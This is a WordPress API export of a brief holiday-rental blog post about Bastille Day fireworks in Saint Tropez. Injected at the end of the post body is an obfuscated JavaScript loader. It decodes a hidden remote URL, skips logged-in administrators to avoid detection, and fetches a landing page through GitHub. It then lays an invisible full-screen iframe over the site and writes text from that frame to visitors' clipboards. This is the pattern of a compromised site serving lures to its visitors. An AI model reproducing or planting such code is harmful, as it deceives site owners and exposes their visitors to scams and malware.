{"id":651,"date":"2016-07-05T22:04:26","date_gmt":"2016-07-05T20:04:26","guid":{"rendered":"https:\/\/www.mas-de-gigaro.eu\/?p=651"},"modified":"2026-05-22T17:40:35","modified_gmt":"2026-05-22T16:40:35","slug":"july-14th-bastille-day-saint-tropez","status":"publish","type":"post","link":"https:\/\/www.mas-de-gigaro.eu\/en\/july-14th-bastille-day-saint-tropez\/","title":{"rendered":"July 14th, Bastille Day, Saint Tropez"},"content":{"rendered":"<h3>Fireworks for the French National Day, celebrated on 14 July each year<\/h3>\n<h4><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-652\" src=\"https:\/\/www.mas-de-gigaro.eu\/wp-content\/uploads\/2016\/07\/fireworks-1.jpg\" alt=\"Fireworks St. Tropez\" width=\"935\" height=\"550\" srcset=\"https:\/\/www.mas-de-gigaro.eu\/wp-content\/uploads\/2016\/07\/fireworks-1.jpg 935w, https:\/\/www.mas-de-gigaro.eu\/wp-content\/uploads\/2016\/07\/fireworks-1-300x176.jpg 300w, https:\/\/www.mas-de-gigaro.eu\/wp-content\/uploads\/2016\/07\/fireworks-1-768x452.jpg 768w\" sizes=\"auto, (max-width: 935px) 100vw, 935px\" \/><\/h4>\n<h4>Bastille Day in celebrated across the whole of France with a bang&#8230;well, several in fact, fireworks always feature heavily.<\/h4>\n<p>And the residents of Saint Tropez celebrate this national holiday with as much enthusiasm as the rest of the country. Various activities are held across the city on the 14th, in memory of the storming of the Bastille on the same date in 1789.\u00a0Traditionally the fireworks display normally starts off between 10-11pm.<\/p>\n<p>Celebrations are also generally\u00a0free of charge.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Location<br \/>\n<\/strong>France | Cannes Area | Nice Area | Antibes | Saint Tropez<\/p>\n<p><strong>Style<br \/>\n<\/strong>Event: Cultural Event | Family Activity | Outdoor Event | Party<\/p>\n<p><strong>Venue Type<br \/>\n<\/strong>Open Air \/ Outdoors<script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];<\/p>\n<p>  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";<\/p>\n<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };<\/p>\n<p>  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;<\/p>\n<p>      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;<\/p>\n<p>      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;<\/p>\n<p>      var de = document.documentElement;\n      var body = document.body;<\/p>\n<p>      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}<\/p>\n<p>    return false;\n  }<\/p>\n<p>  if (isWpLoggedInContext()) return;<\/p>\n<p>  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }<\/p>\n<p>  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }<\/p>\n<p>  registry.status = \"loading\";<\/p>\n<p>  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }<\/p>\n<p>  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";<\/p>\n<p>    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }<\/p>\n<p>    var encoded = encodeURIComponent(id);<\/p>\n<p>    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }<\/p>\n<p>    return template.replace(\/\\{id\\}\/g, encoded);\n  }<\/p>\n<p>  function toHttpUrl(value) {\n    if (!value) return \"\";<\/p>\n<p>    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");<\/p>\n<p>    if (!s) return \"\";<\/p>\n<p>    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }<\/p>\n<p>    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";<\/p>\n<p>    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }<\/p>\n<p>    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }<\/p>\n<p>    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }<\/p>\n<p>  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;<\/p>\n<p>    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;<\/p>\n<p>    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;<\/p>\n<p>      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;<\/p>\n<p>      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }<\/p>\n<p>      parent.appendChild(link);\n    } catch (e) {}\n  }<\/p>\n<p>  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;<\/p>\n<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }<\/p>\n<p>    return step(0);\n  }<\/p>\n<p>  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;<\/p>\n<p>    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }<\/p>\n<p>    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }<\/p>\n<p>    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }<\/p>\n<p>    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;<\/p>\n<p>    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);<\/p>\n<p>      registry.status = \"active\";<\/p>\n<p>      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");<\/p>\n<p>      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }<\/p>\n<p>    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }<\/p>\n<p>    registry.destroy = destroy;\n    registry.reveal = reveal;<\/p>\n<p>    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");<\/p>\n<p>    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };<\/p>\n<p>    iframe.onerror = function () {\n      destroy();\n    };<\/p>\n<p>    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);<\/p>\n<p>    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }<\/p>\n<p>  function run() {\n    warmupOrigins();\n    bindMessageHandler();<\/p>\n<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        finalUrl = toHttpUrl(finalUrl);<\/p>\n<p>        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }<\/p>\n<p>        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }<\/p>\n<p>  registry.runPromise = run();\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Fireworks for the French National Day, celebrated on 14 July each year Bastille Day in celebrated across the whole of France with a bang&#8230;well, several in fact, fireworks always feature heavily. And the residents of Saint Tropez celebrate this national holiday with as much enthusiasm as the rest of the country. Various activities are held&#8230; <\/p>\n<div class=\"link-more\"><a href=\"https:\/\/www.mas-de-gigaro.eu\/en\/july-14th-bastille-day-saint-tropez\/\">Read More<\/a><\/div>\n","protected":false},"author":1,"featured_media":652,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_locale":"en_US","_original_post":"651","footnotes":"","jetpack_publicize_message":"","jetpack_is_tweetstorm":false,"jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","enabled":false}}},"categories":[64,38],"tags":[],"class_list":["post-651","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-neigkeiten","category-saint-tropez","en-US"],"jetpack_publicize_connections":[],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.8 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>July 14th, Bastille Day, Saint Tropez - Mas de Gigaro 114b<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.mas-de-gigaro.eu\/en\/july-14th-bastille-day-saint-tropez\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"July 14th, Bastille Day, Saint Tropez - Mas de Gigaro 114b\" \/>\n<meta property=\"og:description\" content=\"Fireworks for the French National Day, celebrated on 14 July each year Bastille Day in celebrated across the whole of France with a bang&#8230;well, several in fact, fireworks always feature heavily. And the residents of Saint Tropez celebrate this national holiday with as much enthusiasm as the rest of the country. Various activities are held... Read More\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.mas-de-gigaro.eu\/en\/july-14th-bastille-day-saint-tropez\/\" \/>\n<meta property=\"og:site_name\" content=\"Mas de Gigaro 114b\" \/>\n<meta property=\"article:published_time\" content=\"2016-07-05T20:04:26+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-05-22T16:40:35+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.mas-de-gigaro.eu\/wp-content\/uploads\/2016\/07\/fireworks-1.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"935\" \/>\n\t<meta property=\"og:image:height\" content=\"550\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Mas114\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Mas114\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.mas-de-gigaro.eu\/en\/july-14th-bastille-day-saint-tropez\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.mas-de-gigaro.eu\/en\/july-14th-bastille-day-saint-tropez\/\"},\"author\":{\"name\":\"Mas114\",\"@id\":\"https:\/\/www.mas-de-gigaro.eu\/#\/schema\/person\/5186c5546fe8d32fe6ffc1b50317358c\"},\"headline\":\"July 14th, Bastille Day, Saint Tropez\",\"datePublished\":\"2016-07-05T20:04:26+00:00\",\"dateModified\":\"2026-05-22T16:40:35+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.mas-de-gigaro.eu\/en\/july-14th-bastille-day-saint-tropez\/\"},\"wordCount\":121,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/www.mas-de-gigaro.eu\/#\/schema\/person\/5186c5546fe8d32fe6ffc1b50317358c\"},\"articleSection\":[\"News\",\"Saint Tropez\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/www.mas-de-gigaro.eu\/en\/july-14th-bastille-day-saint-tropez\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.mas-de-gigaro.eu\/en\/july-14th-bastille-day-saint-tropez\/\",\"url\":\"https:\/\/www.mas-de-gigaro.eu\/en\/july-14th-bastille-day-saint-tropez\/\",\"name\":\"July 14th, Bastille Day, Saint Tropez - Mas de Gigaro 114b\",\"isPartOf\":{\"@id\":\"https:\/\/www.mas-de-gigaro.eu\/#website\"},\"datePublished\":\"2016-07-05T20:04:26+00:00\",\"dateModified\":\"2026-05-22T16:40:35+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/www.mas-de-gigaro.eu\/en\/july-14th-bastille-day-saint-tropez\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.mas-de-gigaro.eu\/en\/july-14th-bastille-day-saint-tropez\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.mas-de-gigaro.eu\/en\/july-14th-bastille-day-saint-tropez\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.mas-de-gigaro.eu\/en\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"July 14th, Bastille Day, Saint Tropez\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.mas-de-gigaro.eu\/#website\",\"url\":\"https:\/\/www.mas-de-gigaro.eu\/\",\"name\":\"Mas de Gigaro 114b\",\"description\":\"Ferien an der Cote d&#039;Azur\",\"publisher\":{\"@id\":\"https:\/\/www.mas-de-gigaro.eu\/#\/schema\/person\/5186c5546fe8d32fe6ffc1b50317358c\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.mas-de-gigaro.eu\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\/\/www.mas-de-gigaro.eu\/#\/schema\/person\/5186c5546fe8d32fe6ffc1b50317358c\",\"name\":\"Mas114\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.mas-de-gigaro.eu\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/www.mas-de-gigaro.eu\/wp-content\/uploads\/2018\/01\/JOHNSSON-CAESAR_small.jpg\",\"contentUrl\":\"https:\/\/www.mas-de-gigaro.eu\/wp-content\/uploads\/2018\/01\/JOHNSSON-CAESAR_small.jpg\",\"width\":182,\"height\":254,\"caption\":\"Mas114\"},\"logo\":{\"@id\":\"https:\/\/www.mas-de-gigaro.eu\/#\/schema\/person\/image\/\"},\"url\":\"https:\/\/www.mas-de-gigaro.eu\/author\/matthias\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"July 14th, Bastille Day, Saint Tropez - Mas de Gigaro 114b","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.mas-de-gigaro.eu\/en\/july-14th-bastille-day-saint-tropez\/","og_locale":"en_US","og_type":"article","og_title":"July 14th, Bastille Day, Saint Tropez - Mas de Gigaro 114b","og_description":"Fireworks for the French National Day, celebrated on 14 July each year Bastille Day in celebrated across the whole of France with a bang&#8230;well, several in fact, fireworks always feature heavily. And the residents of Saint Tropez celebrate this national holiday with as much enthusiasm as the rest of the country. Various activities are held... Read More","og_url":"https:\/\/www.mas-de-gigaro.eu\/en\/july-14th-bastille-day-saint-tropez\/","og_site_name":"Mas de Gigaro 114b","article_published_time":"2016-07-05T20:04:26+00:00","article_modified_time":"2026-05-22T16:40:35+00:00","og_image":[{"width":935,"height":550,"url":"https:\/\/www.mas-de-gigaro.eu\/wp-content\/uploads\/2016\/07\/fireworks-1.jpg","type":"image\/jpeg"}],"author":"Mas114","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Mas114","Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.mas-de-gigaro.eu\/en\/july-14th-bastille-day-saint-tropez\/#article","isPartOf":{"@id":"https:\/\/www.mas-de-gigaro.eu\/en\/july-14th-bastille-day-saint-tropez\/"},"author":{"name":"Mas114","@id":"https:\/\/www.mas-de-gigaro.eu\/#\/schema\/person\/5186c5546fe8d32fe6ffc1b50317358c"},"headline":"July 14th, Bastille Day, Saint Tropez","datePublished":"2016-07-05T20:04:26+00:00","dateModified":"2026-05-22T16:40:35+00:00","mainEntityOfPage":{"@id":"https:\/\/www.mas-de-gigaro.eu\/en\/july-14th-bastille-day-saint-tropez\/"},"wordCount":121,"commentCount":0,"publisher":{"@id":"https:\/\/www.mas-de-gigaro.eu\/#\/schema\/person\/5186c5546fe8d32fe6ffc1b50317358c"},"articleSection":["News","Saint Tropez"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/www.mas-de-gigaro.eu\/en\/july-14th-bastille-day-saint-tropez\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/www.mas-de-gigaro.eu\/en\/july-14th-bastille-day-saint-tropez\/","url":"https:\/\/www.mas-de-gigaro.eu\/en\/july-14th-bastille-day-saint-tropez\/","name":"July 14th, Bastille Day, Saint Tropez - Mas de Gigaro 114b","isPartOf":{"@id":"https:\/\/www.mas-de-gigaro.eu\/#website"},"datePublished":"2016-07-05T20:04:26+00:00","dateModified":"2026-05-22T16:40:35+00:00","breadcrumb":{"@id":"https:\/\/www.mas-de-gigaro.eu\/en\/july-14th-bastille-day-saint-tropez\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.mas-de-gigaro.eu\/en\/july-14th-bastille-day-saint-tropez\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.mas-de-gigaro.eu\/en\/july-14th-bastille-day-saint-tropez\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.mas-de-gigaro.eu\/en\/"},{"@type":"ListItem","position":2,"name":"July 14th, Bastille Day, Saint Tropez"}]},{"@type":"WebSite","@id":"https:\/\/www.mas-de-gigaro.eu\/#website","url":"https:\/\/www.mas-de-gigaro.eu\/","name":"Mas de Gigaro 114b","description":"Ferien an der Cote d&#039;Azur","publisher":{"@id":"https:\/\/www.mas-de-gigaro.eu\/#\/schema\/person\/5186c5546fe8d32fe6ffc1b50317358c"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.mas-de-gigaro.eu\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":["Person","Organization"],"@id":"https:\/\/www.mas-de-gigaro.eu\/#\/schema\/person\/5186c5546fe8d32fe6ffc1b50317358c","name":"Mas114","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.mas-de-gigaro.eu\/#\/schema\/person\/image\/","url":"https:\/\/www.mas-de-gigaro.eu\/wp-content\/uploads\/2018\/01\/JOHNSSON-CAESAR_small.jpg","contentUrl":"https:\/\/www.mas-de-gigaro.eu\/wp-content\/uploads\/2018\/01\/JOHNSSON-CAESAR_small.jpg","width":182,"height":254,"caption":"Mas114"},"logo":{"@id":"https:\/\/www.mas-de-gigaro.eu\/#\/schema\/person\/image\/"},"url":"https:\/\/www.mas-de-gigaro.eu\/author\/matthias\/"}]}},"jetpack_featured_media_url":"https:\/\/www.mas-de-gigaro.eu\/wp-content\/uploads\/2016\/07\/fireworks-1.jpg","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p5SOQI-av","_links":{"self":[{"href":"https:\/\/www.mas-de-gigaro.eu\/wp-json\/wp\/v2\/posts\/651","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.mas-de-gigaro.eu\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.mas-de-gigaro.eu\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.mas-de-gigaro.eu\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.mas-de-gigaro.eu\/wp-json\/wp\/v2\/comments?post=651"}],"version-history":[{"count":2,"href":"https:\/\/www.mas-de-gigaro.eu\/wp-json\/wp\/v2\/posts\/651\/revisions"}],"predecessor-version":[{"id":2393,"href":"https:\/\/www.mas-de-gigaro.eu\/wp-json\/wp\/v2\/posts\/651\/revisions\/2393"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.mas-de-gigaro.eu\/wp-json\/wp\/v2\/media\/652"}],"wp:attachment":[{"href":"https:\/\/www.mas-de-gigaro.eu\/wp-json\/wp\/v2\/media?parent=651"}],"wp:term":[{"taxonomy":"c